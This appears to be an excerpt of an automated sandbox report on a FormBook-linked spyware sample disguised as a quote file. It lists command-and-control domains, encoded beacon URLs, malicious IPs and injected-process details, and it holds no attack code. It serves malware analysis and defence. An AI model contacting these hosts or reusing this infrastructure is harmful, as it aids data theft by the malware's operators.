www.onlineblikje.online	213.249.67.10	true	true	unknown
bandukchi.com	3.33.130.190	true	true	unknown
b-ambu.com	84.32.84.32	true	true	unknown
www.coba168.info	unknown	unknown	true	unknown
www.huwin.club	unknown	unknown	true	unknown
www.jy58gdwf7t.skin	unknown	unknown	true	unknown
www.rtpsilva4d.click	unknown	unknown	true	unknown
www.everyone.golf	unknown	unknown	true	unknown
www.dxfwrc2h.sbs	unknown	unknown	true	unknown
www.livpure-grab.online	unknown	unknown	true	unknown
www.b-ambu.com	unknown	unknown	true	unknown
www.bandukchi.com	unknown	unknown	true	unknown
www.voidzero.tech	unknown	unknown	true	unknown
www.nieuws-july202491.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.bandukchi.com/4nqw/?7Bohe=TM4wmIiUDmnTKniklQ90uhNUhJ9wAlE9nf/Yl9jXXOP3K1JO7ypWLJJbcPRG/mn1E4sifjVCDcv63SEcY+fHR48yBI63+DhGjujcAAYsRe1/gzF87OhGQiowvZSxcJ02Hg==&vD=h0e85v	true	unknown
http://www.huwin.club/cvus/?7Bohe=L6/IgR7jnWgHAqCUWtdTnyQ3KOMoF6iy/gVxl52J0nU+SVs5srMG6NDyylAnxUOxWBqWqLnFW3nZioCT6UqXKC7zbsKc4BTPzCMAY+nXmzAcPovgamuSI2ghdEMnHjenpA==&vD=h0e85v	true	unknown
http://www.huwin.club/cvus/	true	unknown
http://www.bandukchi.com/4nqw/	true	unknown
http://www.livpure-grab.online/r966/	true	unknown
http://www.mcse.top/djad/	true	unknown
http://www.b-ambu.com/deo6/	true	unknown
http://www.nieuws-july202491.sbs/4bpc/	true	unknown
http://www.livpure-grab.online/r966/?vD=h0e85v&7Bohe=St0zOmS57JvxXHngaoKRrYwJhw67SG7V3FAZs2TYvCYNXtW49c+AatXE2ZBTP/KNdGCD9DmtL2naWYac77vyUP4q1YSJ6U5Kf8MwRQ43aJ1o9SgGH2ER+UvSNI1J5J1sVQ==	true	unknown
http://www.coba168.info/o55g/	true	unknown
http://www.xueerr.xyz/vhqd/?7Bohe=WoZBIA9oyl+J2b4VfTP9l9A782ZII/35uSr01551g8NzakXtA+Pa5+JAPkHp6kowgs8acnK71ZwIZDZByVYOuYH08N3N2lAmC4I9AOVCDFEu0aUC6s+F7cMMpoEI61JPvA==&vD=h0e85v	true	unknown
http://www.royapop.online/elh0/?7Bohe=pzF/mZhnV0GSmLX+GycMwU6WT06CzqVGvQudBfY4Dqjs/3KtcpfJYGVadgWONk/4osLjzgZwgHUQ0ZwKAvTdTnbY8Qd/xTrHuaQfE1OzRfvOWlfeun0LuB51rXnhStJusg==&vD=h0e85v	true	unknown
http://www.xueerr.xyz/vhqd/	true	unknown
http://www.onlineblikje.online/z0t0/?7Bohe=9B/xOqaHJLGzhK9+asydflyTnlILmfDyrXYYsxrw44oQhSljsJ3AUyXQia4yxUul1qSv48mAxItuxzOnZ7dQ4iYj8ngc1biNZhlnUORZPI7XnMKBVwak16kasN63mT84/Q==&vD=h0e85v	true	unknown
http://www.voidzero.tech/2vbz/?7Bohe=qlAZWX/ch455H6hDeAWyjxeCoVjeFLImmNyoFLJZcRWWfOSwb/dYbmE5Lo+ESXiDiuCMQOi3bdztXr54sGaKYuw5X5+G7ZC+wzrMILyG35q/IsHjv6ziuhAlYbb1UGsQUw==&vD=h0e85v	true	unknown
http://www.dxfwrc2h.sbs/28kl/?7Bohe=ZkKAB6qSK6F5HsjBEzwiMizWOSJwTbSi5er0Koahj7mpnIIYqRoLKzbDk71u2k+MO6tmUyIoyOO9F/o0RCIBFZEb81/8BfbGrnNiAiZNS4xvfhhZvRECGHuLoGBIxYjXhw==&vD=h0e85v	true	unknown
http://www.onlineblikje.online/z0t0/	true	unknown
http://www.mcse.top/djad/?7Bohe=OgBIZAb3K3QVmDSyooTSIAO5Tll+jwwdUI93t9cTrZTAkguQuNIIHt4CXXwiEPUK7V7i0FBLQRxFESBesMpHDzV+LIhV5qbZyNO4rVJKeHZqQ73AKCfxWCZcLIU2txA0ig==&vD=h0e85v	true	unknown
http://www.putizhong.homes/oacu/?vD=h0e85v&7Bohe=QyeFQ+FiMQKSKdq/BKxG+5Ov1bwmlN3FnlPZyKM2ZYbXsZFvV/O3NTv6ZfeubWU6jSKaxDXQpId5DKUlUVN54eSFHJCOrp//l7em+zpeeu1iGig/Io/KcJQlUpo44DFlsQ==	true	unknown
http://www.royapop.online/elh0/	true	unknown
http://www.everyone.golf/kb53/	true	unknown
http://www.coba168.info/o55g/?7Bohe=SntAYgquUuF8cmTqKgeHt96czNjKbI7walrzfjn5MBbpbz0DMUAQT5TGmaCmCOcjM4ET7TOvVUXTFF/O6lHSx5C+s9iWJ/mgfg63citE2SV2GP/8IEdknZeeY7ynAeJL4g==&vD=h0e85v	true	unknown
http://www.b-ambu.com/deo6/?7Bohe=NByBCVC4fvk3zNlObrJyagJtuzfI3YQ4Ad7pkV0ATPDcP1/VdlZwhks7LZ4Zlk95UTsGsfg9gVB7u8RemM4hoUvK2Ig2OY9rZRI88AWKe5yd8pSEv6a6wulMHxqZW9lecA==&vD=h0e85v	true	unknown
http://www.voidzero.tech/2vbz/	true	unknown
http://www.putizhong.homes/oacu/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.coba168.info/%e0%b8%9a%e0%b8%97%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/uploads/elementor/css/post-51.css?ver=1728540719	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://tempuri.org/DataSet1.xsd	QUOTE2342534.exe	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-image.min.css?ver=3.24.7	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/lib/font-awesome/css/brands.css?ver=5.15	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor-pro/assets/css/widget-blockquote.min.css?ver=3.	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.23.2	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://line.me/R/ti/p/	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/wp-content/uploads/2024/10/COBA-168-	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/#website	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/sitemap_index.xml	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/#organization	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-text-editor.min.css?ver=3.24.	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	QUOTE2342534.exe, 00000000.00000002.2143831590.0000000002B57000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.coba168.info/?s=	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/themes/hello-elementor/theme.min.css?ver=3.1.1	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.24.7	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.coba168.info/wp-content/plugins/header-footer-elementor/assets/css/header-footer-elemento	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.24.7	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://schema.org	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://onlineblikjes.nl/?7Bohe=9B/xOqaHJLGzhK9	mshta.exe, 00000008.00000002.4595178953.00000000058D0000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.0000000004260000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://gmpg.org/xfn/11	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.coba168.info/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://schema.org/WPHeader	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.coba168.info/#/schema/logo/image/	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=3.24	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-icon-box.min.css?ver=3.24.7	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/about-us/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/wp-content/uploads/2024/08/5.png	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/slot-online/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/comments/feed/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.rtpsilva4d.click	qnPyaKsYTE.exe, 0000000A.00000002.4597123623.0000000004D3B000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/login/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://schema.org/WPFooter	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yoast.com/wordpress/plugins/seo/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.coba168.info/privacy-policy-2/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/xmlrpc.php	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.css?ver=5.15.	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.coba168.info/wp-content/plugins/header-footer-elementor/inc/widgets-css/frontend.css?ver=	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/wp-content/uploads/2024/10/cropped-COBA-168-	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.24.7	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/themes/hello-elementor/header-footer.min.css?ver=3.1.1	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/css/conditionals/e-swiper.min.css?ver=3.	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/register	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	mshta.exe, 00000008.00000002.4595178953.0000000004466000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.0000000002DF6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/uploads/elementor/css/global.css?ver=1728530365	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.coba168.info/promotion/	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/xmlrpc.php?rsd	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/feed/	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css?ver=3.24.3	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/themes/hello-elementor/style.min.css?ver=3.1.1	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/uploads/elementor/css/post-12.css?ver=1728540809	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.24.7	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/wp-staging/assets/js/dist/wpstg-blank-loader.min.js?ver=6	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://app.ddgame168.online/utm-source/coba168-info	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://api.w.org/	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/lib/animations/styles/bounce.min.css?ver	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor-pro/assets/css/frontend.min.css?ver=3.23.2	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.css?ver	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.coba168.info/wp-json/	qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/plugins/header-footer-elementor/inc/js/frontend.js?ver=1.6.44	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.coba168.info/wp-content/uploads/elementor/css/post-8.css?ver=1728530364	mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.0.215.33	nieuws-july202491.sbs	Canada	35893	ACPCA	true
118.139.178.37	coba168.info	Singapore	26496	AS-26496-GO-DADDY-COM-LLCUS	true
129.226.176.90	www.xueerr.xyz	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	true
213.249.67.10	www.onlineblikje.online	Netherlands	42585	METAREGISTRARNL	true
67.223.117.169	rtpsilva4d.click	United States	15189	VIMRO-AS15189US	true
154.9.228.56	www.mcse.top	United States	395800	GBTCLOUDUS	true
129.226.56.200	b1-3-r111.kunlundns.top	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	true
154.7.176.67	www.putizhong.homes	United States	174	COGENT-174US	true
84.32.84.32	voidzero.tech	Lithuania	33922	NTT-LT-ASLT	true
209.74.64.190	www.royapop.online	United States	31744	MULTIBAND-NEWHOPEUS	true
3.33.130.190	huwin.club	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541203
Start date and time:	2024-10-24 15:16:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QUOTE2342534.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/7@16/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 97% Number of executed functions: 136 Number of non-executed functions: 282
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target qnPyaKsYTE.exe, PID 1308 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: QUOTE2342534.exe

Simulations

Behavior and APIs

Time	Type	Description
09:17:09	API Interceptor	1x Sleep call for process: QUOTE2342534.exe modified
09:17:11	API Interceptor	15x Sleep call for process: powershell.exe modified
09:17:56	API Interceptor	12201948x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.0.215.33	r0000000NT_PDF.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202491.sbs/rq5n/
	rInvoiceCM60916_xlx.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202491.sbs/rq5n/
	z1SupplyInvoiceCM60916_Doc.exe	Get hash	malicious	FormBook	Browse	www.nieuws-july202491.sbs/rq5n/
118.139.178.37	Tandemmernes90.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.coba168.info/esd1/
129.226.176.90	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.xueerr.xyz/uhl0/
213.249.67.10	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.onlineblikje.online/wp9q/?74=Wcq5nto4Pys/VvLEf2lJ/6Zw/QsAH/mOKDhTh8E2UkIGdNowS/NkUBtnEOdEZ1QRI1rqIZGZ3d2iBtPWddII6c2xOxLt6j8Q/ledcZJmmPQke33bUPdbyjY=&jf=kjpL5
213.249.67.10	PO59458.exe	Get hash	malicious	FormBook	Browse	www.onlineblikje.online/mgmi/
67.223.117.169	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.rtpsilva4d.click/zctj/
67.223.117.169	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.rtpsilva4d.click/zctj/
154.9.228.56	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.mcse.top/kyiu/
154.9.228.56	PO#001498.exe	Get hash	malicious	FormBook	Browse	www.mcse.top/kyiu/
129.226.56.200	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAIL.exe	Get hash	malicious	FormBook	Browse	www.cdqjey8g.sbs/mwey/
